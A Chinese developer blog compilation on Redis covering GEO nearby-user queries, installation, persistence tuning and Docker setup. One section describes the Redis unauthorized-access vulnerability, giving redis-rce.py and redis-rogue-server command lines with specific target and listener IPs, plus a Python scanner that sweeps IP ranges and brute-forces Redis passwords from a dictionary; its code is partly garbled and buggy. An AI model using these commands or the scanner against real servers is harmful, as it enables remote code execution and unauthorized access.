开发知识点-LBS用户位置Redis-GEO附近人/店铺

2023-11-10 01:59

本文主要是介绍开发知识点-LBS用户位置Redis-GEO附近人/店铺,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述
在这里插入图片描述

附近人

  • windows安装
  • 附近人列表功能
    • mysql
    • redis GEO
  • CNNVD-201511-230 未授权访问
  • python 多线程 redis
    • 大端模式与小端模式
        • IP地址的不同表现形式
          • 1.字符串表现形式
          • 2. 整数表现形式
          • 3.大小端模式下的IP地址
      • 0x01 进入python正题
        • Python的socket库
          • 1.socket.socket(family,type)
          • 2.socket.connect(address)
          • 3.socket.connect_ex(address)
          • 4.socket.settimeout(value)
          • 5.socket.sendall(data)
          • 6.socket.recv(bufsize)
          • 7.socket.close()
        • Python的sys库
      • 0x02 Redis 服务特征识别
        • 1.PING命令
        • 2.AUTH命令
      • 0x03 代码编写
        • 编程实现Redis服务识别
        • 加入主函数
        • 密码字典爆破
        • 批量扫描同一网段下的主机
        • 多线程扫描
  • 缓存redis
  • 初识
      • #节点服务器redis#
          • #redis运维#
  • 安装
  • redis持久化 与 常见问题
        • #开发运维#
          • fork本身
        • 解决方案
      • 死活连接不上
        • 改完配置一定要重启!重启!重启!
  • 深入
  • 电商秒杀系统实战&&Redis集成
        • #添加依赖#![在这里插入图片描述](https://img-blog.csdnimg.cn/20191202170212204.png)
        • #添加配置
          • #创建redisconfig#
  • docker 下 安装 redis
  • 参考文章

windows安装

Ruoyi-SpringCloud版本-2.安装redis服务端和客户端-win7

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

附近人列表功能

方案优势缺点
Mysql外接正方形逻辑清晰,实现简单,支持多条件筛选效率较低,不适合大数据量,不支持按距离排序
Mysql+Geohash借助索引有效提高效率,支持多条件筛选不支持按距离排序,存在数据库瓶颈
Redis+Geohash效率高,集成便捷,支持距离排序不适合复杂对象存储,不支持多条件查询

mysql

轻量级  1w 以内 经纬度  --->  四个临界点

redis GEO

GEO 就是 Geolocation 的简写形式,代表地理坐标。

Redis 在 3.2 版本中加入了对 GEO 的支持,允许存储地理坐标信息,帮助我们根据经纬度来检索数据。

GEOADD 将指定的地理空间位置 经度纬度 名称 存储到指定key

1、GEOADD:添加一个地理空间信息,包含:经度(longitude)、纬度(latitude)、值(member)。
键名、经度、纬度和成员名称
geoadd g1 116.378248 39.865275 bjnz 116.42803 39.903738 bjz 116.322287 39.893729 bjxz
在这里插入图片描述
2、GEODIST:计算指定的两个点之间的距离并返回。
在这里插入图片描述
3、GEOHASH:将指定 member 的坐标转为 hash 字符串形式并返回.
geohash g1 bjz
在这里插入图片描述
4、GEOPOS:返回指定member的坐标

在这里插入图片描述
5、GEORADIUS:指定圆心、半径,找到该圆内包含的所有 member,并按照与圆心之间的距离排序后返回。(6.2 以后已废弃)

6、GEOSEARCH:在指定范围内搜索 member,
并按照与指定点之间的距离排序后返回。范围可以是圆形或矩形。(6.2 新功能)。

在Redis中,GEOSEARCH命令用于在地理位置的有序集合中,根据给定的位置信息搜索符合条件的成员。

GEOSEARCH命令的语法如下:GEOSEARCH key
参数说明:key:地理位置的有序集合的key名称。FROMMEMBER member:从指定成员开始搜索,返回符合条件的成员。FROMLONLAT longitude latitude:从给定的经度和纬度开始搜索,返回符合条件的成员。BYRADIUS radius unit:根据指定的半径和单位搜索符合条件的成员。WITHCOORD:返回成员的经纬度坐标。WITHDIST:返回成员与中心位置的距离。WITHHASH:返回成员的地理哈希值。COUNT count:限制返回的成员数量。ASC|DESC:指定返回结果的排序方式,默认为升序。STORE key:将搜索结果存储到指定的键名中。STOREDIST key:将搜索结果存储到指定的键名中,并返回成员与中心位置的距离。案例:搜索天安门(116.397904 39.909005)附近10km内的所有火车站,并按照距离升序排序。geosearch g1 fromlonlat 116.397904 39.909005 byradius 10 km withdist

在这里插入图片描述


use think\facade\Cache;// 连接Redis$redis = Cache::store('redis')->handler();// 执行GEOADD命令$redis->rawCommand('GEOADD', 'cities', $log, $lat, $data['mobile']);
 
服务器  设置成  0.0.0.0

1、将店铺信息添加到缓存中

在这里插入图片描述

GEORADIUS 以给定的经纬度为中心 找出某一半径内元素

## thinkphp```php// 假设您已经获取了用户的经纬度和需要搜索的距离范围
$lng = $_GET['lng']; // 用户的经度
$lat = $_GET['lat']; // 用户的纬度
$distance = $_GET['distance']; // 需要搜索的距离范围,单位为千米// 计算经纬度范围
$earth = 6378.137; // 地球半径
$pi = 3.1415926535898; // 圆周率
$lng_min = $lng - rad2deg($distance / $earth / cos(deg2rad($lat)));
$lng_max = $lng + rad2deg($distance / $earth / cos(deg2rad($lat)));
$lat_min = $lat - rad2deg($distance / $earth);
$lat_max = $lat + rad2deg($distance / $earth);// 查询商品表,根据距离排序,取前10条数据
$goods = Db::name('goods')->field("*, (2 * $earth * asin(sqrt(pow(sin($pi * ($lat - lat) / 360), 2) + cos($pi * $lat / 180) * cos(lat * $pi / 180) * pow(sin($pi * ($lng - lng) / 360), 2)))) as distance")->where('lng', 'between', [$lng_min, $lng_max])->where('lat', 'between', [$lat_min, $lat_max])->order('distance', 'asc')->limit(10)->select();// 返回推荐商品的数据
return json($goods);<html>
<head><meta charset="utf-8"><title>商品推荐</title><style>.goods {display: flex;flex-wrap: wrap;justify-content: space-around;margin: 20px;}.item {width: 200px;height: 300px;border: 1px solid #ccc;margin: 10px;padding: 10px;box-sizing: border-box;}.item img {width: 180px;height: 180px;}.item h3 {font-size: 16px;margin: 10px 0;}.item p {font-size: 14px;color: #666;}</style>
</head>
<body><div class="goods"></div><script>// 假设您已经获取了用户的经纬度和需要搜索的距离范围var lng = 120.15; // 用户的经度var lat = 30.28; // 用户的纬度var distance = 10; // 需要搜索的距离范围,单位为千米// 发送Ajax请求,获取推荐商品的数据var xhr = new XMLHttpRequest();xhr.open('GET', 'http://localhost/goods?lng=' + lng + '&lat=' + lat + '&distance=' + distance);xhr.onreadystatechange = function() {if (xhr.readyState == 4 && xhr.status == 200) {var data = JSON.parse(xhr.responseText);// 渲染商品列表var goods = document.querySelector('.goods');goods.innerHTML = '';for (var i = 0; i < data.length; i++) {var item = document.createElement('div');item.className = 'item';item.innerHTML = `<img src="${data[i].image}" alt="${data[i].name}"><h3>${data[i].name}</h3><p>价格:${data[i].price}元</p><p>距离:${data[i].distance.toFixed(2)}千米</p>`;goods.appendChild(item);}}};xhr.send();</script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CNNVD-201511-230 未授权访问

一、漏洞描述
Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的 API。

Redis 中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在 6379 端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。

当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问 Redis 并读取 Redis 的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

二、漏洞影响
Redis <= 5.0.5

三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/redis/4-unacc docker-compose up -d 12
以开放在默认的 6379 端口,在攻击机使用redis-cli -h target-ip即可进行连接

2、漏洞复现

在这里插入图片描述

测试命令执行:

在这里插入图片描述
在这里插入图片描述
得到回显,可见存在未授权访问漏洞。
四、漏洞POC
使用 Redis 客户端连接:
redis-cli -h 0.0.0.0 1
执行info命令。

五、提权
https://blog.51cto.com/jiachen/2514921
https://www.cnblogs.com/zpchcbd/p/11739232.html

六、整改
https://blog.csdn.net/qq_40907977/article/details/106207488

https://blog.csdn.net/weixin_40412037/article/details/120347458

python3 redis-rce.py -r 115.29.67.37 -L 101.43.159.27 -f ./module.so

https://blog.csdn.net/Seizerz/article/details/103139905

https://www.cnblogs.com/1008612mrzou/p/14832260.html

redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

https://mp.weixin.qq.com/s/xMOlwnU5Jac25GPNnpD8Hg

python 多线程 redis

大端模式与小端模式

在内存中,数据的表示模式
分为两种:大端模式和小端模式。

大端模式
指数据的高字节保存在内存的低地址中,
而数据的低字节保存在内存的高地址中。

小端模式
数据的高字节保存在内存的高地址中
而数据的低字节保存在内存的低地址中
这种存储模式将地址的高低和数据位权有效地结合起来,
高地址部分权值高,低地址部分权值低,和我们的逻辑方法一致。

在小端模式表示法下,整数0x78563412在内存中的表示
在这里插入图片描述

  • 注意:Intel系列的CPU采用小端模式,而当数据在网络上传输时采用大端模式。
IP地址的不同表现形式

理解这些表现形式以及它们之间的相互转换方法,是遍历指定范围内的IP地址的一个重要方法。

1.字符串表现形式

也就是通常所说的点分十进制形式,如192.168.1.1,这是我们最熟悉的一种表现形式。

2. 整数表现形式

我们知道IPv4是32位的,而8位可以表示1个字节,

也就是说,IPv4地址可以表示为4字节的数据,刚好可以表示为一个无符号int类型的数据。

那么字符串形式的IP地址如何转换为整数数值呢?
因为点分十进制的IP中,每个被点分隔的数据占用1字节,
可以表示的范围是0~255,所以可以认为这是一个256进制的数,这样转换就非常简单了。

以IP地址220.181.111.188为例,其整数值为3702878140,计算过程为:

256^3*220+256^2*181+256^1*111+256^0*188=256*256*256*220+256*256*181+256*111+188=3702878140

实际上220.181.111.188这个IP地址是pingwww.baidu.com得来的,
所以在浏览器中访问http://3702878140/实际上访问的就是百度了。

3.大小端模式下的IP地址

因为涉及到网络传输,所以当IP地址转换为数值形式时,
还存在大端和小端两种不同的形式。

我们计算出来的3702878140是小端模式表示法下的值,
在当做socket参数使用时,需要转换为大端模式。

0x01 进入python正题

Python的socket库

Python提供了一个socket库用于网络相关的编程,这里对其中几个重要的函数进行介绍

1.socket.socket(family,type)

用于创建一个socket;
family参数指定套接字的家族,在IPv4网络编程中值固定为socket.AF_INET;
type参数表明套接字的类型是UDP还是TCP,

UDP使用socket.SOCK_DGRAM,TCP使用socket.SOCK_STREAM。

2.socket.connect(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),
其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。

如果连接失败,该函数会抛出一个异常。

3.socket.connect_ex(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。
连接成功时函数返回0,
否则返回非0值。

4.socket.settimeout(value)

当使用socket.connect()或socket.connect_ex()连接服务器时,
在连通之前会阻塞一段时间,如果无法连通的话可能会阻塞很久,这会浪费许多时间。

因此,可以使用settimeout函数设置一个超时时间,
value是秒钟数,表示如果在这个时间内无法连接则直接返回。

5.socket.sendall(data)

立即把参数data指定的数据发送给远程服务器,其中data是字符串类型,
其中可以存储任意的二进制数据。

6.socket.recv(bufsize)

从远程服务器接收bufsize字节的数据。

7.socket.close()

关闭与远程服务器的socket连接。

Python的sys库

在使用C语言编写命令行程序是,
main函数提供了两个参数intargc和char**argv,
其中argc指定命令行参数的个数,argv则存储具体的命令行参数。
其中,argv[0]是命令行程序本身的名字,argv[1]存储第一个命令行参数,argv[2]存储第二个命令行参数,以此类推。

在Python中,可以通过sys库的argv参数获取命令行参数的值,
即sys.argv[0]、sys.argv[1]等,通过len(sys.argv)可以获取命令行参数的个数。

0x02 Redis 服务特征识别

在编写安全扫描器之前,我们遇到的第一个问题是:

如何识别指定的端口上运行的服务是否是Redis服务?
首先,Redis服务并不一定只能在6379端口上进行监听,
这个选项可以在Redis配置文件redis.conf里面进行修改;

其次,即使6379端口处于开放状态,我们也需要对其进行判断是否是Redis服务。
扫描器一般都通过端口返回的交互数据来判别端口上运行的具体服务,识别Redis服务也不例外。

首先,介绍一下Redis的PING和AUTH命令。

1.PING命令

在成功连接上Redis服务器之后,客户端往服务器发送PING命令,服务器会给客户端返回PONG这个字符串。

2.AUTH命令

如果Redis服务设置了连接密码,那么首先需要通过AUTH命令确认登陆密码。
在这里插入图片描述

从上面的操作步骤,我们已经可以总结出识别Redis服务的方法了:

1.指定的端口是否开放TCP服务;

2.执行PING命令:

a)如果提示

(error)NOAUTHAuthenticationrequired.表明是Redis服务

且需要登录密码;

b)如果提示

PONG,表明是Redis服务,且无需登录密码;

c)提示其他结果,表明不是Redis服务;

3.如果需要登录密码,执行AUTH命令:

a)如果提示

(error)ERRinvalidpassword,表明密码错误;

b)如果提示

OK,表明密码正确; 

0x03 代码编写

编程实现Redis服务识别

在编写代码之前,我们还需要知道的一点是:

客户端通过socket往服务器发送命令时,需要在后面加上回车换行,即\r\n;

我们在使用redis-cli发送PING命令时,redis-cli会自动加上\r\n,拼接成PING\r\n。
在编程实现扫描器时,我们需要自己加上\r\n。

识别Redis服务的代码如下所示

 #判断是否为redis服务
def is_redis_server(ip, port):"""参数ip:字符串形式IP地址参数port:数值形式端口号,如6379返回值:-1 端口未开放,或者开放但不是Redis服务0   为Redis服务,但需要密码1   为Redis服务,不需要密码"""# 创建一个TCP类型的sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2.0)# 尝试连接端口,如果返回值不为0,表示端口没有开放if s.connect_ex((ip, port)) != 0:return -1s.sendall("PING\r\n")msg = s.recv(1024)res = -1# 如果返回值包含PONG,成功且无密码
​if msg.find("PONG") != -1:res = 1# 如果返回值如下,则表示需要密码elif msg.find("NOAUTH") != -1:res = 0# 否则不是Redis服务,res = -1
​# 关闭socket链接s.close()return res

在上面的代码中,我们没有使用connect函数连接到目标服务器,而是使用了connect_ex函数。
因为前者在连接失败的情况下会抛出一个异常,
我们需要在代码中加入异常处理的代码;而使用connect_ex直接判断返回值即可,
可以使得代码更加的简洁。

加入主函数
 if __name__ =="__main__":ip = "127.0.0.1"port = 6379res = is_redis_server(ip,port)print res
密码字典爆破

Redis并没有限制客户端输入登录密码的次数。出于安全检测的目的,我们只对其进行弱口令检查
断的往Redis服务器发送AUTH命令即可,
如果返回结果包含字符串invalidpassword,表明密码错误,
如果返回结果包含字符串OK,则表明密码正确。

爆破密码的代码封装在check_password函数中,函数首先读取dict.txt文件的密码列表,
随后遍历列表中的密码并生成AUTH命令,
将生成的AUTH命令发送到服务器,
根据服务器的返回信息判断密码是否正确:
如果返回的信息包含OK则表明密码正确。具体的代码如下所示:

 def Check_password(s):"""s:已连接redis服务器的socket返回值:密码字符串,失败返回None"""fp = open("dict.txt")  #打开密码字典passwords = fp.readline()fp.close()for pwd in passwords:#删除末尾的“\r”,"\n","\r\n"pwd = pwd.strip()s.sendall("AUTH %s \r\n" %pwd)msg = s.recv(1024)if msg.find("OK") != -1:return pwdreturn None

只需要稍微修改is_redis_server函数即可,
在其中加入对check_password的调用

在这里插入图片描述

批量扫描同一网段下的主机

网段扫描功能,即可以指定要扫描的IP范围。
这里扫描IP范围直接通过命令行参数指定,如10.1.1.1 10.1.1.255表明共有255台主机需要扫描
那么如何遍历这255个IP地址呢?

  • 1.将字符串形式的点分十进制IP地址转换为数值

首先使用split将IP地址进行分离,比如"10.1.1.47".split(“.”),
这样各个点之间的数据就分离了,
得到列表[“10”,“1”,“1”,“47”],
随后将列表中的元素从字符串转换为int,
并乘以相应的系数后累加,代码如下:

 def ip_str2int(ip): tmp = ip.split(".")a1 = int(tmp[0])*256*256*256a2 = int(tmp[1])*256*256a3 = int(tmp[2])*256a4 = int(tmp[3])ip = a1 + a2 + a3 + a4return ip
  • 2.通过步骤1,我们就可以计算出字符串IP地址对应的数值范围了,
    通过for循环遍历这个范围即可。
    遍历得到的数值IP还需要转换为字符串,这里通过位运算中的“与操作”以及“移位操作”实现。

例如IP地址17.34.51.68对应的数值形式为0x11223344(16进制),
那么0x11223344&0xFF000000得到0x11000000,
再向右移动24位就可以得到0x11,
即10进制的17。对应的代码如下:

 def ip_int2str(ip):a1 = (ip&0xFF000000)>>24a2 = (ip&0x00FF0000)>>16a3 = (ip&0x0000FF00)>>8a4 = ip&0x0000000FFip = "%d.%d.%d.%d" %(a1,a2,a3,a4)return ip

网段范围扫描的代码封装在scan函数中,其中beg_ip通过sys.argv[1]获取,end_ip通过sys.argv[2]获取,具体的代码如下所示

 def scan(beg_ip,end_ip):"""对指定ip返回内的主机进行检测"""#将点分十进制ip,转化成数值beg_ip = ip_str2int(beg_ip)end_ip = ip_str2int(end_ip)#遍历数值ip返回for ip in range(beg_ip,end_ip+1):ip = ip_int2str(ip)res,pwd = is_redis_server(ip,6379)if res ==1:print(ip)elif res==0 and pwd!=None:print ("%s  -> %s"%(ip,pwd))print("Scan Done!")

添加主函数

 if __name__ =="__main__":if len(sys.argv)== 3:scan(sys.argv[1],sys.argv[2])

在这里插入图片描述

多线程扫描

单线程的代码进行封装,然后使用python的threading库,便可以轻松实现多线程任务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

缓存redis

 info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出

初识

#节点服务器redis#

  • 高性能
  • Key-Value
  • 读写分离来承载读请求QPS超过10万
  • 多种数据结构
    (五大基础 字符串,哈希,列表,序列有序集合)
    String,Hash,List,Set,Sorted Set
    在这里插入图片描述
    (衍生bitmaps、hyperloglog、geo )

  • 丰富功能
    pipeline(提高客户端并发)
    发布订阅
    geo
    位图
    支持Lua脚本
    简单事务
    在这里插入图片描述

  • 高可用 分布式
    Redis Sentinel(哨兵)
    Redis Cluster Codis开源

  • 单线程 批量处理
  • 数据结构 应用场景
  • 各个语言 客户端使用

#redis运维#

在这里插入图片描述
在这里插入图片描述

  • 性能优化
  • 分布式基础

在这里插入图片描述

  • 服务/客户 交互故障 困扰解决——高可用

在这里插入图片描述

  • 分布式特性 ——伸缩
    在这里插入图片描述

  • 开源 源码定制化

在这里插入图片描述

  • 键值 存储 服务系统

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
—— key-Value 特性

在这里插入图片描述
在这里插入图片描述

 在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述

  • 两种持久化方式(RDB&AOF)

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

安装

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

ping www.baidu.comwget http://download.redis.io/releases/redis-4.0.6.tar.gz

在这里插入图片描述

在这里插入图片描述

tar -xzf redis-4.0.6.tar.gz
##### ln -s redis-4.0.6 redis
mv redis-4.0.6 redis
cd redis

在这里插入图片描述

 		make && make install

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述




在这里插入图片描述在这里插入图片描述

 cd /root/redis/vi redis.conf

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

 	 cd  /root/redis/utils./install_server.sh/root/redis/redis.conf/root/redis/redis.log/root/redis/data

在这里插入图片描述

	cat  /root/redis/redis.log

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

cd   /etc
mkdir rediscp /root/redis/redis.conf /etc/redis/6379.confcp /root/redis/utils/redis_init_script  /etc/init.d/redisd

在这里插入图片描述在这里插入图片描述在这里插入图片描述

 cd /etc/init.dvi redisdchkconfig redisd onservice redisd start

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

ps -ef |grep redis

在这里插入图片描述

  • 根据各种应用场景 去改就好

redis持久化 与 常见问题

#开发运维#
  • fork操作——子进程开销与优化
fork本身

(1)同步操作
虽然fork同步操作是非常快的,但是如果需要同步的数据量过大,fork就会阻塞redis主进程。

(2)与内存量息息相关
内存越大,fork同步数据耗时越长,当然也跟服务器有关,服务器有物理机,也有虚拟机。

(3)info:latest_fork_usec
使用此命令可以查看持久化花费的时间,如果持久化时间过长,就会造成卡顿。

 例如:如果redis此时QPS上万,此时redis正在持久化,而且持久化时间比较长(1s或者10几秒),这个时候就会严重阻塞redis。

2、改善fork
(1)优先使用物理机或者高效的虚拟机支持fork操作

(2)控制redis实际最大可用内存:maxmemory

(3)合理配置linux内存分配策略:vm.overcommit_memory=1

(4)降低fork频率:例如放宽AOF重写自动触发时机,减少不必要的全量复制。


  • 进程外开销
  • AOF追加阻塞 ——造成客户端超时
  • 单机 多部署 实例
解决方案

考虑到redis一般都是部署在服务器上作为服务存在的。所以,本文的解决方案都是持久性配置,不是临时配置。

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

第一个警告:

The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

对一个高负载的环境来说tcp设置128这个值,太小了。
然后我们可以手动设置,或者设置永久值.所以执行:

echo 511 > /proc/sys/net/core/somaxconn

在这里插入图片描述

但是这个只是暂时的。如果想要永久解决,打开/etc/sysctl.conf
在这里插入图片描述

 vi  /etc/sysctl.conf

在这里面添net.core.somaxconn= 1024 然后执行sysctl -p 就可以永久消除这个warning

在这里插入图片描述

第二个警告:overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add ‘vm.overcommit_memory = 1’ to/etc/sysctl.conf and then reboot or run the command ‘sysctl vm.overcommit_memory=1’ for this to take effect.

将vm.overcommit_memory = 1添加到/etc/sysctl.conf中,然后执行sysctl -p生效配置。

 sysctl -p

在这里插入图片描述
在这里插入图片描述

第三个警告:you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix thisissue run the command ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled’ as root, and add it to your /etc/rc.local in order to retain thesetting after a reboot. Redis must be restarted after THP is disabled.

在这里插入图片描述

echo never > /sys/kernel/mm/transparent_hugepage/enabled
添加到/etc/rc.local中

 vi /etc/rc.local

在这里插入图片描述在这里插入图片描述

然后执行source /etc/rc.local生效配置

 cd /etc/init.dsystemctl restart redis_6379

在这里插入图片描述

死活连接不上

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
禁用防火墙
在RHEL7开始,使用systemctl工具来管理服务程序,包括了service和chkconfig

[root@rhel7 ~]# systemctl stop firewalld.service
[root@rhel7 ~]# systemctl disable firewalld.service
[root@rhel7 ~]# systemctl status firewalld.service

在这里插入图片描述

 启动一个服务:systemctl start firewalld.service关闭一个服务:systemctl stop firewalld.service重启一个服务:systemctl restart firewalld.service显示一个服务的状态:systemctl status firewalld.service在开机时启用一个服务:systemctl enable firewalld.service在开机时禁用一个服务:systemctl disable firewalld.service查看服务是否开机启动:systemctl is-enabled firewalld.service;echo $?查看已启动的服务列表:systemctl list-unit-files|grep enabled

关闭防火墙

改完配置一定要重启!重启!重启!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

深入

前题

  • redis 集群搭建
  • 伸缩细节 扩容 、缩容
  • 客户端使用
  • 单机 Sentinel Cluster 客户端改动
  • JedisPool JedisSentinelPool 连接
  • 自身方式连接

在这里插入图片描述

  • 节点迁移 槽迁移

电商秒杀系统实战&&Redis集成

在这里插入图片描述

  • 对象序列化 fastjson 明文可读json
#添加依赖#在这里插入图片描述

在这里插入图片描述

#添加配置

在这里插入图片描述 在这里插入图片描述

#创建redisconfig#

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 生成 get方法在这里插入图片描述
  • 添加 redis server
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述 在这里插入图片描述

docker 下 安装 redis

php7.4.3 支持 Redis 5.x 版本及以下的版本。
Redis 模块的版本向下兼容性较好

<?php
phpinfo();
?>

php -i | grep redis

在这里插入图片描述
Redis Version 5.2.1

Docker Hub是一个公共的Docker镜像仓库,我们可以从中获取各种已经构建好的应用程序镜像。
1、拉取最新的Redis 5的Docker镜像
docker pull redis:5
该命令将会从Docker Hub上下载Redis5镜像并保存到本地。2、创建并运行Redis容器。
容器是Docker的一个实例,可以包含应用程序及其依赖项,并以独立的方式运行。在终端中运行以下命令来创建并运行Redis容器:docker run -d --name redis-container -p 6379:6379 redis:5
-d:表示以后台模式运行容器。
--name redis-container:指定容器的名称为redis-container,您可以根据自己的需要命名。
-p 6379:6379:将主机的6379端口映射到容器的6379端口。这样,我们就可以通过主机上的6379端口连接到Redis容器。
redis:5:表示使用Redis5镜像创建容器。检查Redis容器是否正在运行
docker ps3、配置Redis容器首先,我们需要进入Redis容器的Shell环境。运行以下命令:docker exec -it redis-container /bin/bash然后,在容器的Shell中,我们可以修改Redis的配置文件redis.conf。运行以下命令: 
vi /usr/local/etc/redis/redis.conf 
在打开的文件中,您可以进行各种配置选项的修改。例如,您可以更改Redis的监听IP地址、端口号等。完成配置后,保存并退出编辑器。然后重新启动Redis容器,使配置生效:docker restart redis-container config get dir 命令查看 Redis 的配置文件存储位置,一般为 /redis/conf/redis.conf。使用 docker cp 命令将 Redis 配置文件从容器中复制到本地,例如:docker cp container_name_or_id:/redis/conf/redis.conf ~/redis.conf。
使用文本编辑器打开 redis.conf 文件进行修改,例如:vi ~/redis.conf。 
使用 docker cp 命令将修改后的配置文件复制回容器内,例如:docker cp ~/redis.conf container_name_or_id:/redis/conf/redis.conf
重新启动 Redis 容器即可。
redis-server /usr/local/etc/redis/redis.confRedis 配置文件默认位于 /usr/local/etc/redis/redis.conf。在启动 Redis 容器时,可以使用 -v 选项将主机上的配置文件映射到容器中,如下所示:
docker run --name my-redis -v /path/to/redis.conf:/usr/local/etc/redis/redis.conf -d redis:5find / -name "redis.conf"创建一个新的 Redis 配置文件,例如 redis.conf,在其中设置密码。
【解决】config set requirepass your_password_here 命令来设置密码。将 Redis 配置文件复制到 Docker 容器中。可以使用以下命令将本地 Redis 配置文件复制到容器内部的 /usr/local/etc/redis/ 目录下:docker cp redis.conf <container_name>:/usr/local/etc/redis/redis.conf在 Docker 容器中以修改后的配置文件启动 Redis。可以使用以下命令来启动 Redis:
